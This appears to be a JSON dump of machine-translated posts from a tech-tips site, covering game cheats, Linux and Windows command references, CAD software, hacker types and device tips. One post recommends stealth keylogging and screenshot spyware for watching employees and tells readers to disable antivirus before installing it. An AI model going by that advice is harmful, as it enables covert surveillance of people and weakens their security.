on the second floor, you will see a door. Open the door and go into it, the game will load and when you come out, you will have a new shirt.\nRepair engine Call 911 if the vehicle is not working.\nMap location\nEnter the following password in the game computer: www.whattheydonotwantyoutoknow.com. Note that this URL will only work on in-game computers. Use passwords for weapons, blood, armor, vehicles, pigeons and entertainment locations.\nMysterious \" Easter Eggs\" hidden in Street Pirates IV game Heart of Liberty city   \nWhen approaching Happiness Island, look for helicopter tours. Drive directly to the Statue of Liberty and jump down the statue. When you land, you will be at the base of the statue, walking around until you have a wing with signs on both sides recording \"No Hidden Content Here '(No hidden content here). Open the door and you You will find a high ladder, climb it, and at the top you will see the beating heart locked by the iron chains.\nTwo bits If you have a serious traffic jam, get a horn and blow 'shave and a haircut' and another car will blow two bits in return. Note, other drivers in the game can do the same.\nSee more:\nSummary of GTA codes, commands in the game Street Pirates Combining cheat software, changing game parameters offline like Cheat Engine Complete how to install Cheat Engine and use Cheat Engine when playing games ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qowMBmmqGdkal6pLvDnqpmnp%2BnerTA0Z6crWWgnr%2BiwMSsZKKuXZyurrE%3D\n","link":"/post/summary-of-gta-cheat-codes-for-street-pirates-iv-game/","section":"post","tags":null,"title":"Summary of GTA cheat codes for Street Pirates IV game"},{"body":"In the article below, let's take a look at the software that helps you monitor employee computers best.\n1. Spytech SpyAgent   Spytech SpyAgent is like a detective software with the ability to \"invisible\" on the system and send data on the computer silently to its owner. To make the software anonymous, Steath mode will run in the background and depending on the user's settings, the application will save the data that you need to collect such as keyboard, mouse, program, screenshot. , scrap, webcam . To protect the software, users are required to create a password for the software to avoid intruders.\nNote: The monitoring software is a form of Spyware so anti-virus software will say Spyware SpyAgent, Trojan32 . Readers should turn off the anti-virus software before installing to avoid error.\nDownload software link at here\n2. Argos Monitoring   Argos Monitoring helps you to monitor random activities on your computer such as recording keystrokes (Key logger), screenshots and website access history. The main features on the software are:\n- Record activities on the keyboard (Keylogger). - Record access history of websites. - Take a screenshot. - Works silently on the system and is difficult to detect. Download software link at here\n3. Arrow   This is a tool developed by Vietnamese on AutoIT platform. The software is equipped with tracking features on the computer and can work silently to avoid being detected. Key features on the software are:\n- Remotely monitor a computer, record browsing history, disable incognito mode in Chrome and take screenshots at any time. - Works anonymously and sends collected data to the control panel (Control Panel) of the software. - Limited time to use the computer. - Support on Windows, Android, Web platforms Software download link here\n4. LastActivityView   LastActivityView will record the last time you opened the application and opened the file, so you can control the computer to see what employees use and how long the operation time. All software, file opening actions are recorded by the software and this software also helps you to control the strange files and processes running on suspected virus systems.\nSoftware download link here\nTo download, visit the website above and scroll down to find Download LastActivityView to download it.\n  5. USBDeview   USB is a compact storage device with quite large storage capacity. By checking whether the computer is plugged in and how the USB device helps you to prevent the risk of theft of important data or prevent strange USB devices used by your employees. may contain viruses.\nLink to download the software here\nFind and click Download USBDeview for x64 systems if your computer uses a 64bit operating system.\n  With monitoring software operating on the computer, you can control the content that employees access and provide appropriate protections if there is a violation of the laws of the organization or company. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdmrqxuM6ynJ5lk6S6scHTnqlmpZ%2BjtrW70aKloGWjpLO1w8CrnA%3D%3D\n","link":"/post/the-best-employee-computer-monitoring-software/","section":"post","tags":null,"title":"The best employee computer monitoring software"},{"body":"du is a command line tool provided with Linux, which reports the amount of disk space used by directories and files. du stands for 'disk usage'. This is the main tool for analyzing disk space in the command line.\nHow to use du command in Linux Basic usage Control output Change the capacity display Include files and links Exclude files, directories and links Basic usage du /path/to/directory  Run du with a directory to see the full analysis of the disk space that each folder holds. Each directory will be listed in turn in the standard output, so large directories or full system scans can generate tens of thousands of result streams and take a considerable amount of time. As a result, basic du commands are often added with flags (which will be shown below). Any of these flags can be combined with another flag, although some combinations are mutually exclusive because they are contradictory.\nControl output   du -c  Display a line at the bottom of the output to indicate the total amount of disk space used by the scanned folders.\ndu -s  Show only a summary of the total amount of disk space used by the specified directory. No output is displayed until the calculation process is complete.\ndu \u0026gt; du-report.txt  People who use the command line will recognize this command, but not everyone. This command outputs the result of the command to a text file in the current directory, named 'du-report.txt'.\ndu | less  This command produces cleaner and more readable results. You can browse content with fewer navigation shortcuts.\nChange the capacity display   Note that the file size will usually be rounded when specific units are specified. For example, the 4KB file will be displayed as 0MB if the -m flag is called, while the 750KB file will be displayed as 1MB.\ndu -h  Displayed in a readable format with the appropriate volumes listed, such as kilobytes, megabytes and gigabytes, instead of the standard block (block) size.\ndu -k  Displays the number of blocks in 1024-byte blocks (1 kilobyte).\ndu -m  Displays the number of blocks in blocks of 1,048,576 bytes (1 megabyte).\ndu -g  Displays the number of blocks in blocks 1,073,741,824 bytes (1 gigabyte).\nInclude files and links   du -L  Follow the symbolic links in the command line and file hierarchy. On the other hand, the space occupied by the symbolic link itself will be reported (usually the minimum in the file system) rather than the directory tree that the symbolic link points to.\ndu -a  Displays the disk usage of all files, not just folders.\ndu /path/to/file.txt  Displays the disk usage of a specific file, as named in the command.\nExclude files, directories and links   du -X FILE  Exclude files that match any pattern in the specified string.\ndu --exclude=\"*.o\"  Exclude files and subdirectories according to the pattern. In this example, all folders including the '* .o' string will be ignored. Note that these are pattern shells, not regular expressions. Thus, the control characters are limited to * , matching any string with 0 or more characters and ? , matches any one character. The above command will exclude these files from the directory capacity calculation process. If flag -a is used, the excluded file will be ignored in the output.\ndu --threshold=SIZE  Exclude items that are less than SIZE if it is a positive value or items greater than SIZE if it is a negative value. SIZE is an integer and has one unit (optional). For example, the --threshold=1MB command will ignore all files smaller than 1 megabyte (1000 ^ 2 bytes). Units including K, M, G, T, P, E, Z, Y represent kibibyte, mebibyte, gibibyte, etc. . or KB, MB, GB, TB, represent kilobytes, megabytes, gigabytes, etc. This can be a useful tool to find the largest files on the system with a command like du --threshold=1GB .\ndu -d N  Set the maximum depth for N folders. This flag can take any positive integer. With this setting, du will scan up to 2 subdirectories in the specified directory. If other subdirectories exist, they will not be scanned individually. Instead, their value will be included in the reported directories. Note that -d 0 will report the same result as the -s flag .\nFor example, consider the directory path 'dir1 / dir2 / dir3 / dir4', containing 1 parent directory and 3 subdirectories. The command du -d 2 dir1 will scan to dir3. Dir3 will include files in dir4, although dir4 is not listed separately.\nThe du command is du useful when paired with other utilities, such as the du -a / | sort -n -r | head -n 10 command du -a / | sort -n -r | head -n 10 du -a / | sort -n -r | head -n 10 . This command will search your entire file system ( du -a / ), sort results by size ( sort -n -r ), and then display only the top 10 results ( head -n 10 ). Basically, this is a shortcut to the 10 largest files on your computer. Combine du with other commands via pipes to produce even more useful results.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2sZpyZqLhuwdKanp5lk6S6rq3NnapmmaKaeq670q1koZmemcZutc1mo6Kmpa0%3D\n","link":"/post/the-du-disk-usage-commands-are-most-handy-in-linux/","section":"post","tags":null,"title":"The du (Disk Usage) commands are most handy in Linux"},{"body":"Today's top 3D design software are the ones that bring creative solutions, design and perfect models and architectural works to serve the needs of living in the house of any user or architect. Any architect. To draw buildings, simulate large works, requires engineers, architects to use specialized 3D design software.\nArchicad is one such software. With a capacity of nearly 700MB, Archicad supports maximum users with 3D design on their computers. However, to compare with other professional design software, the following list of Top 10 3D design software 2021, drawing extreme graphics below are really specialized tools.\nHere are the Top 10 best 3D design software 2021 1. TurboCAD Deluxe TurboCAD Deluxe is a tool to create technical drawings, graphics with the ability to integrate 2D or 3D drawings to create object images, sketches of images, engineering equipment, software. Multi-tool support allows you to create technical drawings besides it is quite easy to use compared to some other technical drawing software\n  TurboCAD Deluxe provides all the basic tools and features to create a 2D or 3D engineering drawing using straight lines, cutting angles you can create a visual image with the ability to sketch ideas of Most accurate users you can use the software to archive your creative ideas and archive them with a versatile drawing tool\n2. DesignCAD 3D Max DesignCAD 3D Max is an application that gives users the ability to design 2D and 3D models that are vivid and interesting. In particular, DesignCAD 3D Max is compatible with AutoCAD and PaperSpace, making it easy to create the images you want.\n  DesignCAD 3D Max provides users with the ability to design high quality 2D drawings, 3D animations. Thanks to DesignCAD 3D Max you can quickly and easily turn all your creative ideas into reality. In addition, it also provides a variety of painting materials, tools, colors and all the most basic lighting effects for graphic design. It is also capable of creating animations to support drawings.\n3. SketchUp Pro SketchUp software supports 3D graphic design for construction engineers, architects, professional designers. In addition to modeling features, SketchUp also covers the entire graphic design process to create documents, convey ideas to everyone.\n  SketchUp integrates basic drawing tools to help users create basic shapes for 3D models such as drawing and editing geometry: polygons, FollowMe, Offset, split patterns. Construct with detailed calculation of dimensions, rulers, protractor, face cut, layers, length and area analysis. Users can also create the same cube with functions for the tubular view inside the block with tools that make it transparent. SketchUp also helps create shadows and assign exact sizes and ratios for shapes, paste images on shapes .\n4. Bricscad Bricscad designs engineering drawings with the ability to create 2D or 3D drawings using a variety of drawing tools, users can create sections with mesh surfaces, in addition to the familiar features that support for Technical drawing software also adds time-saving tools and 3D direct modeling, it is also important that Bricscad software does not consume computer memory as some engineering drawing software.\n  Bricscad with a familiar interface, it is not difficult for users to use and get used to the software because controlling through the drawings becomes easier than ever, thanks to a special ribbon that you can access. into the fastest possible drawing tools. The feature that Bricscad introduces to users is the ability to connect to cloud computing, with the cloud platform you can store documents to ensure the safety of drawings, assigning tasks, sharing and assigning. making it easier for your colleagues to follow, this is one of the new developments in software that interests users.\n5. ViaCAD 2D / 3D ViaCAD has a lot of powerful features. Regardless of your experience, the convenience of these features is evident from the start. ViaCAD is a precision software application that provides state modeling tools without sacrificing speed and ease of use. Use ViaCAD to explore and develop new product concepts using a variety of modeling methods including curves, surfaces and solids that are fully integrated into a design-friendly environment. user.\n  6. TurboCAD Pro LTE TurboCAD LTE provides tools to help create 2D technical graphic drawings with planes, lines and details, tools for drawing the user can measure the dimensions of drawings you make, side by side. Edge creates technical drawings software also allows users to edit existing drawings to better serve the user's work.\n  TurboCAD LTE provides users with many tools to create 2D drawings, in addition to drawing tools like AutoCad software also provides many other tools to do your work such as automatically choosing the right size. objects, customizing dimensions, or implementing 3D perspectives for images . TurboCAD LTE creates 2D layers or mechanical models for drawing projects, designing mechanical engineering machines with engineers. in mechanical field, TurboCAD LTE is indispensable software because its attractive features allow users to design machines, create sketches before putting them into production.\n7. ZWCAD + ZWCAD + supports users to create technical drawings, edit 2D and 3D models, and process images in many different formats. The software is also capable of managing elements and objects, and properties on the drawings, on an intuitive, easy-to-customize interface. The program has excellent compatibility with many platforms and stable operation.\n  ZWCAD helps users to realize ideas on 2D and 3D drawings, drawing editor comes with auto-resizing features, inserting and editing various image formats, attaching annotations prefer. You can also insert DWG file as documentation for the purpose of creating constructions among members in a project.\n8. TurboCAD LTE TurboCAD is an excellent graphics software application that allows users to work with all today's graphic designs such as 2D designs, 3D surfaces and prototypes, along with sketching real images. . You get the Redsdk drawing tool, can use your computer's GPU graphics to enhance the Hidden lines, get an eraser for easy object removal, drafting work, and a vastly improved color palette. unique and easy to use, .\n  9. ProgeCAD ProgeCAD 2009 Smart is a professional tool to help you in designing CAD drawings. The professional functions of the software will make you satisfied and help you get the perfect product. progeCAD 2009 Smart helps you in creating the most impressive and accurate CAD drawings.\n  ProgeCAD 2009 Smart brings you the most professional functions as well as commands and interfaces such as imaging, hatching, blocking and editing of external references, 3D shadow rendering, . smarter functions more directly from progeCAD's professional codebase. The progeCAD 2009 Smart software is easy to install, easy to use, suitable for both students and teachers or anyone who loves this CAD design tool. It is therefore completely popular and does not take long for you to get used to it and use it.\n10. Bonzai3d Bonzai3d is a graphics drawing software with the ability to create shapes in 3-dimensional space such as cubes, cones, rectangles, cylinders, spheres . or some 2D models such as rectangles, ellipses. , the models applied in practice such as windows, people, doors, chairs . support software for design engineers to make blueprints for their projects, Design models and projects for reality\n  If you are in need of a technical design software that performs engineering drawings for practical application such as building modeling, construction drawing design, objects, then Bonzai3d is the most suitable solution, with create models and designs in 3-dimensional space, giving users the simplest tools to sketch vivid and realistic 3D images, for work and study. use\nAbove are 10 best 3D design software 2021, if you are a designer, programmer. Please quickly download for yourself the most satisfied software to use in work. If you only need a simple design, not a dedicated 3D, you should refer to the baner logo graphic design that will be easier to get used to and use than the above software. Also you can refer to the top 10 best 2021 photo editing software that TipsMake has synthesized ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZmuUYrGmv8igpWarn5vBuK3RnmRraGJmeqW%2BwLCgp59dmsW1vsSmnGafopa9qbXCrA%3D%3D\n","link":"/post/top-10-3d-design-software-2021-drawing-extreme-graphics/","section":"post","tags":null,"title":"Top 10 3D design software 2021, drawing extreme graphics"},{"body":"When you refer to the tips on tips on the Internet will come up with some tips that require you to open CMD and enter a certain command. For those who are new to computers, they will not know what CMD is and how to use it. So in the following article of TipsMake.com will help you answer what is CMD? And the commands used in CMD, please follow along!\n  I. What is CMD? CMD - Command Prompt is an application used to execute commands available in Windows. CMD in Windows provides a lot of commands, these commands are used to do the job of operating the system from a command prompt interface instead of operating directly on the Windows interface. It is a Windows MS-DOS emulation program with lots of commands available in MS-DOS, but it is not MS-DOS.\nTo launch CMD we have a lot of ways, but the most popular way is to use Windows + R to open the Run dialog box then type the cmd command and press Enter .\n  II. Common and useful Cmd commands 1. PING command Uses : Use up Ping to check whether a computer has no network connection. The PING command sends packets from your computer to the destination computer, you can determine the connection status or determine whether the computer is connected or not.\n  Syntax : ping ip / host / [/ t] [/ a] [/ l] [/ n]\n- Ip: IP address of the machine to be checked; host is the name of the computer to check the network connection (can use the IP address or the name of the computer).\n- / t: used to keep the computer \"ping\" to the destination computer, press Ctrl + C to stop.\n- / a: get the IP address from the computer name (host).\n- / l: specify the width of the sending packet to check.\n- / n: Specify the number of packets to send.\n2. Tracert command Usage : Command helps you see the path of packets from your computer to the destination computer, see which packets go through which servers or routers .\n  Syntax : tracert ip / host\n- ip / host: IP address / computer name.\n3. Netstat command Uses : List outbound connections to your computer.\nSyntax : Netstat [/ a] [/ e] [/ n]\n- / a: Displays all connections and ports that are listening.\n- / e: Ethernet statistical information.\n- / n: Display the address and port numbers.\nYou can refer to other parameters by typing Netstat /?\n4. Ipconfig command Uses : Display the IP configuration of the computer you are using (host name, IP address, DNS .).\n  Syntax : ipconfig / all\n5. Shutdown command Uses : Turn off and restart the computer.\nSyntax (Windows 7):\n- Shutdown: Shutdown -s -t [a]\n- Restart computer: Shutdown -r -t [a]\n+ a: shutdown time (units seconds).\n6. The DIR command Uses : View files, folders.\nSyntax : DIR [drive:] [path] [filename]\n- Path: Path to file, folder.\n- Filename: File name.\n7. DEL command Uses : Delete files.\nSyntax : DEL [/ p] [/ f] [/ s] [/ q] [/ a [[:] attributes]] \"file name to delete\"\n- / p: Display file information before deleting.\n- / f: Delete files with read-only attribute.\n- / s: Delete the file in all directories that contain it.\n- / q: Delete without asking.\n- / a [[:] attributes]: Delete by file attributes (R: Read-only files, S: System files, H: Hidden files).\nDelete all files *. *\n8. COPY order Uses : Copy files from one folder to another in the computer.\nSyntax : COPY \"address to copy\" \"address of file copy\" / y\n- / y: Copy without asking.\n9. RD command Uses : The RD command helps you delete directories.\nSyntax : RD / s / q \"directory to delete\"\n- / s: Delete the entire directory.\n- / q: Delete without asking.\n10. MD command Use : Create a new folder.\nSyntax : MD \"path to save the file to create\" \"directory name to create\"\nFor example: md \"C: tailieu\" (create tailieu directory in drive C).\n11. TASKKILL command Uses : Turn off a running application.\nSyntax : taskkill / f / im \"application name\" .exe.\nFor example taskkill / f / im Skype.exe (disable Skype application).\n12. REG ADD command Uses : Create, edit the Registry.\nSyntax : REG ADD KeyName [/ v ValueName] [/ t Type] [/ s Separator] [/ d Data] [/ f]\n- KeyName: Path to the Key.\n- / v ValueName: The value name to create.\n- / t Type: Data type.\n- / d Data: Value value.\n13. REG DELETE command Uses : Delete the value in the Registry.\nSyntax : REG DELETE KeyName [/ v ValueName] [/ f]\n- [/ v ValueName]: The value name to delete.\n14. REGEDIT.EXT command Uses : Run the .reg file.\nSyntax : Regedit.exe / s \"where the .reg file is not\"\n- / s: No need to ask.\n15. ATTRIB command Uses : Set properties for files and folders.\nSyntax : ATTRIB -a -s -h -r \"file, directory\" / s / d\nor ATTRIB + a + s + h + r \"files, directories\" / s / d\n- + sign: Add the attribute.\n- Mark -: Remove the attribute.\n- a: Archive (storage properties).\n- s: System (system property).\n- h: Hidden (hidden attribute).\n- r: Read- only (attribute read only).\n- / s: Perform with all files located in the directory and subfolders.\n- / d: Set properties for directories and subfolders.\nThe above article TipsMake.com has answered for you what CMD is and the common commands used in CMD. Hope you will find the article useful, thanks for watching!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTorFur86mpJqmlKh6qrqMsKCnnJ%2BswA%3D%3D\n","link":"/post/what-is-cmd-commands-in-windows/","section":"post","tags":null,"title":"What is CMD Commands in Windows"},{"body":"Of course, we all expect a peaceful and convenient flight from check-in to landing, however, sometimes strange things happen that are unexpected. Brightside has compiled a series of the most unique moments that passengers have ever shared on the Internet, most of which make viewers enjoy because of the interesting, quirky, and not hurt people. What is the witness?\nHave you ever seen an airplane full of horses?  Hmm . Perhaps our flight will be delayed for quite a while now  But how did this plane get out like this? A rain of mud?\n'I'm on a 13-hour long-haul flight from Los Angeles to Shanghai .'  This is a sad picture.\nThis pilot was cleaning the glass himself before taking off  Everything will come.\nNot an art exhibition or sophisticated construction, the image you see below is inside the cargo compartment of the Boeing 747  Hi, hello there  The guest that everyone wants to meet.\nWhen all airport flights are canceled at the same time  This is a sad picture part 2.\nOK, this woman's luggage will never get lost  10 points for the quality.\nHe tried hard to make his work more fun  But it doesn't seem very effective .\n\"I booked an urgent ticket to return home and was the only non-animal guest on this flight\"  Offline mascot basketball or something?\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdqruqvdSeZKKlkZyytHnOp2StoJViva2tzZ5kraCRqXqxrdKsnKeflafAbrTAr5xmnaaav27AwKScp2WSmsFuxc6uZKGZppp6r7vTZqqenZ5iurC%2BxGaroZmeYrWiuMU%3D\n","link":"/post/bet-you-have-not-seen-more-than-half/","section":"post","tags":null,"title":"Bet you have not seen more than half!"},{"body":"By default, the Excel date format often uses slashes, such as March 23, 2016 . However, if your Worksheet has multiple dates lists, you can use dots. in date format to make the Worksheet easier to see, no glitches.\nTo change the slash to a dot in Excel format, please refer to the following article of Network Administrator.\n  See also: How to reopen Word, Excel or PowerPoint files when closed but not saved yet? To change the slash to a dot in Excel date format, follow the steps below:\nFirst select the cell containing the date you want to change the format. Then right-click the cell you selected and select Format Cells on the popup menu.\n  Now the Format Cells dialog box appears, you need to make sure that the Number card is activated. Then on the list of items in the Number tab, select Custom .\n  Enter mdyyy in the Type edit box and then click OK .\n  Also if you want the date format to have only the last 2 digits of the year, you enter mdyy , such as 10.10.16.\nEnter mm.dd.yyyy to insert a zero before the month and day, such as 01.02.2016.\nNow the slash in the date format has been changed with a dot.\n  If you want to use a slash in the old date format, follow the same steps, then select Date in the list of items on the Format Cell dialog box and select the format on Type.\nRefer to some of the following articles of Network Administrator:  Instructions for copying or moving Worksheet in Excel 2013   Hide and show sheets in Excel   10 ways to recover corrupted Excel files  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqyYmnq0uMCsn2asn2KubrDOrWSipl2axaSxy2adqKqdlsE%3D\n","link":"/post/change-the-slash-to-a-dot-in-excel-format/","section":"post","tags":null,"title":"Change the slash to a dot in Excel format"},{"body":"Hacker was originally a term used to describe software writers and testers, or those who liked computer programming to serve their needs. But gradually, the term has been used in the sense of someone who breaks into the system, steals information, and destroys the system. [You can read the details at: The interesting facts behind 10 tech terms. popular]. So is it true that hackers are superhuman, full of bad people?\nThere is a short myth about hackers:\nA 15-year-old boy sat behind a vivid black screen, typing madly. Blue lines of text flashed across the screen like a waterfall. His tension escalated when he started sending attack commands to the target computer. Suddenly, he laughed and proceeded to steal money.\n  The image of a hacker went into legend\nIt is a stereotypical view of a hacker, when it comes to hackers, the first image that people envision is the legend above. However, there are many other hacker models that Hollywood and the media have not described. Today, we will learn about hacker classification . Hackers have many different types and include the following 7 types of hackers:\nKiddie Script: The Kiddie Script often does not care about hacking (if any, they will be Green Hat). They copy code, use them to create viruses, SQLi or similar things. The Kiddie script cannot hack itself, they only download the built-in hack software (eg LOIC or Metasploit) and watch the video tutorial on YouTube to know how to use it. The most common attacks that Kiddie Scripts do are DoS or DDoS, in which the flood is flooded with IP with a lot of information, causing the server to crash because of overload. These components are quite dangerous, not knowing the possible consequences with your hacking action. They did not learn about hacking techniques, \"stealing\" other people's efforts just to hack . dread.\nGreen Hat (Hackers green hat): These are new hackers who practice hack (n00bz), but different from Kiddies Script, they are interested in hacking and striving to become powerful hackers. They often participate in hacker communities, asking basic questions. When the questions they ask are answered, they will listen attentively to curiosity like a child who first hears adult stories.\nBlue Hat (Blue Hat Hacker): When the Kiddie Script intends to take revenge on people who made them angry, they will become Blue Hat. Most Blue Hat are n00bz, but like Kiddie Script, they have no need to learn to hack.\nWhite Hat (White Hat Hacker): Also known as Ethical Hacker (White Hacker), White Hat hackers are the best hackers in the world. They will help you remove viruses or help companies discover vulnerabilities in software and systems by breaking into them. They hack into the system to discover security issues, before bad guys do it. After discovering the flaw, they will report back to the relevant organizations to find ways to patch and fix. Most of the White Hat hackers have degrees in the field of information technology or computer science and are certified to work in the field of hacking. The most popular certification is CEH (Certified Ethical Hacker) from EC-Council. [You can read more about this certificate: The most important IT certificates]\nBlack Hat (Black Hat Hacker): Also known as Cracker, these are the characters you often hear on the news. They are the ones who make the world think that hackers are bad people. This is because their purpose of hacking is often selfish and for personal gain. They find banks, companies with poor security systems, steal money or credit card information. One surprising fact about their attack method is that they often use the popular hacking methods they have learned before. But they are also the creators of hacking, finding security holes to hack. The term Kiddie Script is hated by Black Hat, they take it as an insult because hackers Script Kiddie often uses a loan program, available to attack the network, sabotage the site to bring its reputation .\n  Illustration\nGray Hat (Hacker gray hat): In this life, there are other colors besides black and white and so is the hacker world. Gray Hacker Hat is located somewhere between white hat hacker and black hat. They do not steal money or information (though sometimes, they accidentally spoil some websites), but they do not help people (unless they want to). They may randomly find ways to expose misconduct, take revenge on exactly who was angry with them or attack a definite goal for some reason. Technically, Gray Hat performs hacking actions without permission, so even if there is no bad intention, it is still considered illegal. A gray hat hacker can exploit the vulnerability, but instead of using it for personal purposes, they can tell white hat hackers or black hats to explore, sometimes they tell the relevant organization to fix the problem. These hackers account for a large number of hackers, even though Black Hat are the hackers who capture most of the media's attention.\nRed Hat (Red Hat Hacker): Can be likened to Red Hat hackers like civil defense teams in hackers. They are like white-hat hackers in blocking Black Hat hackers, but bring real fear to black hat hackers. Instead of reporting about dangerous hackers, they will crash the system by uploading viruses, attacking DoS and accessing an attacker's computer to crash it from within. They use many positive methods that can force a cracker to replace the new computer. This is really the idol of many people who dream of becoming hackers.\nJob opportunities of hackers (counting from white hats to red hats ^^):\nNow you have some basic understanding of the differences between hackers. If you want to use hacking skills to find career opportunities, here are 3 perfect positions for hackers:\nNetwork security engineer: In this position, you can use your advanced knowledge of malware, viruses, DoS attacks, DDoS and other online threats to protect organization against online crime again. In addition, you can help the company build, maintain, improve IT security solutions, check the vulnerability, assess the security of the system and create security solutions when broadcast. does the problem.\nMalware analyst: Malware analysts are experts in the field of malware. In this position, you will be tasked with identifying and disabling new and dangerous types of malware. This position requires proficiency in many programming languages ​​and a deep knowledge of computer systems.\nCISO (Head of Information Security): If you are more ambitious, you can get a mark on this high level of information security. The CISO is responsible for overseeing all online security efforts within an organization. They must always be ready to deal with possible network attacks, lead surveys to find gaps in the network, monitor security operations and manage other employees. You need to get back a lot of information security experience before sitting in this position. But once you have gained CISO, with expert knowledge of hackers and security, you can lead your entire team in the fight against cybercrime.\nHopefully the article can help you understand a little more about the types of hackers and career opportunities when you plan to follow this path. Please consider carefully when choosing a hat color for you!\nSee more:\nThe white \"monster master\" hat hackers\nncG1vNJzZmismaXArq3KnmWcp51ksK2t0qygn7Fdna6kt8SrqmaZnpl6pK3RnpyrZZ%2BlvbC%2B066loqyZmsBuss6rZK2qpZp6qa3CpJyrqw%3D%3D\n","link":"/post/classify-hackers-and-career-opportunities-for-true-hackers/","section":"post","tags":null,"title":"Classify hackers and career opportunities for true hackers"},{"body":"The file always comes with the extension next to the file name such as .exe, .png . you can hide / show the extension of the file on your computer.\nYou can refer to the steps in the article below to hide / show the extension of the file.\nStep 1: Open Windows Explorer -\u0026gt; Organize -\u0026gt; Folder and search options .\n  Or you can open the Start Menu , enter the Folder Options keyword and select Folder Options .\n  Step 2: In the Folder Options dialog box, click the View tab .\n  Step 3: In the View tab , in the Advanced settings section you find Hide extensions for known file types .\nIf you want to hide the extensions of the files you tick the box before Hide extensions for known file types , if you want to show the extensions of the files you unmarked in that box. After setup is complete you select OK .\n  Depending on your needs, you can hide or show the file extension. With just three simple steps on you can do it. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2Fz6WYsmWWnrmmecSxq56mo568r7%2BMn6ClnV2axbWxzaygqKajYravedaipZ2np6g%3D\n","link":"/post/display-file-extensions-file-extensions-in-windows/","section":"post","tags":null,"title":"Display file extensions (file extensions) in Windows"},{"body":"YouTube Originals is a channel of the world's largest video-sharing platform, YouTube, launched in 2016. Previously only YouTube Premium users (subscription-based streaming service) could see the content on the channel. YouTube Originals, including original episodes, events and original movies from YouTube.\nHowever, YouTube recently issued a notice on the Help Center page that from September 24, non-paying YouTube users will be able to access the YouTube Originals service. Specifically, users can watch a number of episodes, movies or live events on YouTube Origial but can only select the episodes available online at any time and will encounter ads while see.\n  Meanwhile, YouTube Premium members will enjoy some exclusive privileges when viewed on YouTube Originals, including:\nView content on YouTube Originals without ads. Enjoy all episodes in the episodes as soon as they premiere. Downloadable for offline viewing of YouTube Originals videos. Content such as director's cuts or additional scenes can be viewed from YouTube Originals. After September 24, only paid users can see some shows like 12 Deadly Days, A Trip to Unicorn Island and Hyperlinked. Once the show is released they will have access to every episode of that season. Meanwhile, free users can only view each episode once the publisher releases it.\nGoogle has just taken a giant step in removing passwords The mysterious Snapdragon chip scored a record on Geekbench Google Maps deploys Live View - an augmented reality (AR) walk through the phone's rear camera ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGasrJ2iqHqkrc1mmJyblajAbsXOrquumpVivLO1xqKlmqSjYsGwedaaq5ygXaK8t7XErGSfqp%2BierSxz62cppqVp3pzgA%3D%3D\n","link":"/post/free-users-can-access-youtube-originals-to-watch-movies-from-september-24/","section":"post","tags":null,"title":"Free users can access YouTube Originals to watch movies from September 24"},{"body":"Apple is a leading brand that many people want once in a lifetime to own high-end products from the company, such as iPhone, iPad, iPod, or Mac. And one of the concerns of users when buying products from Apple is . warranty, so we check how the warranty, this article we will discuss this concern offline.\nAll products released by Apple are covered by a one-year warranty, regardless of technical errors or manufacturer errors, and users can extend the warranty period via AppleCare. .\nHow to check the warranty status of Apple devices How to find serial numbers for Apple devices How to find serial numbers for devices using Apple ID How to find serial numbers on iPhone or iPad How to find serial numbers on Apple Watch How to find serial numbers on Apple TV Find the serial number on the Mac  View the warranty status on iOS 12.2 How to check the warranty status for Apple devices How to find serial numbers for Apple devices How to find serial numbers for devices using Apple ID When logging into the Apple ID profile page, you can see all devices connected to that ID. Click on a device to find the serial number.\nStep 1 . Log in to Appleid.apple.com.\nStep 2 . Scroll down to Devices section.\nStep 3 . Click on the device to find the serial number.\n  You can copy the serial number and paste it into the Apple device warranty warranty.\nHow to find serial numbers on iPhone or iPad If you do not want to go to the Apple ID profile page, you can quickly find this information right on your iPhone or iPad phone.\nStep 1 . Open the Settings application.\nStep 2 . Scroll down and touch General .\n  Step 3 . Touch About .\nStep 4 . See Serial Number .\n  This information will be useful when checking the AppleCare warranty status via the Apple website.\nHow to find serial numbers on Apple Watch Similar to the iPhone or iPad, you can also find the serial number on the Apple Watch.\nStep 1 . Click Digital Crown to go to the Apple Watch Home screen.\nStep 2 . Touch Settings .\nStep 3 . Touch General .\n  Step 4 . Touch About .\nStep 5 . Scroll down until you see Serial Number .\n  How to find serial numbers on Apple TV Step 1 . Launch Settings on Apple TV.\nStep 2 . Click on General .\n  Step 3 . Click on About .\nStep 4 . Scroll down until you see Serial Number .\n  You can use this information to check the warranty status of Apple TV.\nFind the serial number on the Mac Step 1 . Click on the Apple icon in the top left corner of the Mac.\nStep 2 . Select About This Mac from the drop-down menu.\n  Step 3 . Click Overview to see the serial number (at the end of the list).\n  This information is used to check the AppleCare warranty status.\nView the warranty status on iOS 12.2 On the latest version of iOS, you can see warranty status right on Settings without accessing Apple's warranty page.\nStep 1 . Open the Settings application.\nStep 2 . Scroll down and touch General .\nStep 3 . Touch About .\n  Here, you will see the expiration time for AppleCare + or Limited Warranty.\nHow to check the warranty status for Apple devices Once you have the serial number you can check the AppleCare warranty status on the Apple website.\nStep 1 . Navigate to the Apple warranty status page (checkcoverage.apple.com).\nStep 2 . Enter the device's serial number in the search field.\nStep 3 . Enter the CAPTCHA code to determine you are not a computer.\nStep 4 . Click Continue .\n  You will be redirected to the device summary page under test.\n  Valid Purchase Date : Determines the purchase time of the device being tested. Telephone Technical Support: Active or Expired : If you still have technical support over the phone, you will see an estimated expiration date. Otherwise, you will see information indicating whether the device is eligible for extended AppleCare warranty with a link to purchase additional if eligible. Repairs and Service Coverage: Active or Expired : If the device repair service is still available, you will see an estimated expiration date. Otherwise, you will see information indicating whether the device is eligible for extended AppleCare warranty with a link to purchase additional if eligible. Covered by the AppleCare Protection Plan : This information is displayed when you purchase an extended AppleCare warranty. I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGavkae%2ForrTsmSonl2WvbG4xGabnq6ZmLK0\n","link":"/post/how-to-check-the-warranty-of-apple-devices/","section":"post","tags":null,"title":"How to check the warranty of 